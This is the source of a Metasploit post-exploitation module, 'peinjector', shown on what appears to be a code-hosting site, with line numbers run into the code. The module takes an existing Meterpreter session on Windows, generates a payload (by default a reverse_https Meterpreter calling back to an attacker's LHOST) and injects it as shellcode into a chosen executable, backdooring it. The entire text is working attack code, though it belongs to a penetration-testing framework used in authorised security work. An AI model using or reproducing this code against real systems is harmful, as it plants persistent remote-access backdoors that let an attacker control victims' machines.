Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/manage/peinjector.rb
Views: 11623
require 'rex'12class MetasploitModule < Msf::Post34include Msf::Post::Common56def initialize(info = {})7super(8update_info(9info,10'Name' => 'Peinjector',11'Description' => %q{12This module will inject a specified windows payload into a target executable.13},14'License' => MSF_LICENSE,15'Author' => [ 'Maximiliano Tedesco <[email protected]>'],16'Platform' => [ 'win' ],17'SessionTypes' => [ 'meterpreter' ],18'Compat' => {19'Meterpreter' => {20'Commands' => %w[21peinjector_inject_shellcode22]23}24}25)26)2728register_options(29[30OptString.new('PAYLOAD', [false, 'Windows Payload to inject into the targer executable.', 'windows/meterpreter/reverse_https']),31OptAddress.new('LHOST', [true, 'IP of host that will receive the connection from the payload.']),32OptInt.new('LPORT', [false, 'Port for Payload to connect to.', 4433]),33OptString.new('TARGETPE', [false, 'Path of the target executable to be injected']),34OptString.new('OPTIONS', [false, "Comma separated list of additional options for payload if needed in \'opt=val,opt=val\' format."])35]36)37end3839# Run Method for when run command is issued40def run41session.core.use('peinjector')4243# syinfo is only on meterpreter sessions44print_status("Running module against #{sysinfo['Computer']}") if !sysinfo.nil?4546# Check that the payload is a Windows one and on the list47if !session.framework.payloads.module_refnames.grep(/windows/).include?(datastore['PAYLOAD'])48print_error("The Payload specified #{datastore['PAYLOAD']} is not a valid for this system")49return50end5152# Set variables53pay_name = datastore['PAYLOAD']54lhost = datastore['LHOST']55lport = datastore['LPORT']56targetpe = datastore['TARGETPE']57opts = datastore['OPTIONS']5859# Create payload60payload = create_payload(pay_name, lhost, lport, opts)6162# Inject payload63inject_payload(payload, targetpe)64end6566# Create a payload given a name, lhost and lport, additional options67def create_payload(name, lhost, lport, opts = '')68pay = client.framework.payloads.create(name)69pay.datastore['LHOST'] = lhost70pay.datastore['LPORT'] = lport71pay.datastore['EXITFUNC'] = 'thread'72pay.available_space = 1.gigabyte # this is to generate a proper uuid and make the payload to work with the universal handler7374if !opts.blank?75opts.split(',').each do |o|76opt, val = o.split('=', 2)77pay.datastore[opt] = val78end79end80# Validate the options for the module81pay.options.validate(pay.datastore)82return pay83end8485def inject_payload(pay, targetpe)86print_status('Generating payload')87raw = pay.generate88param = {}8990if pay.arch.join == ARCH_X6491threaded_shellcode = client.peinjector.add_thread_x64(raw)92param[:isx64] = true93else94threaded_shellcode = client.peinjector.add_thread_x86(raw)95param[:isx64] = false96end9798param[:shellcode] = threaded_shellcode99param[:targetpe] = targetpe100param[:size] = threaded_shellcode.length101102print_status("Injecting #{pay.name} into the executable #{param[:targetpe]}")103client.peinjector.inject_shellcode(param)104print_good("Successfully injected payload into the executable: #{param[:targetpe]}")105rescue ::Exception => e106print_error("Failed to Inject Payload to executable #{param[:targetpe]}!")107print_error(e.to_s)108end109end110111112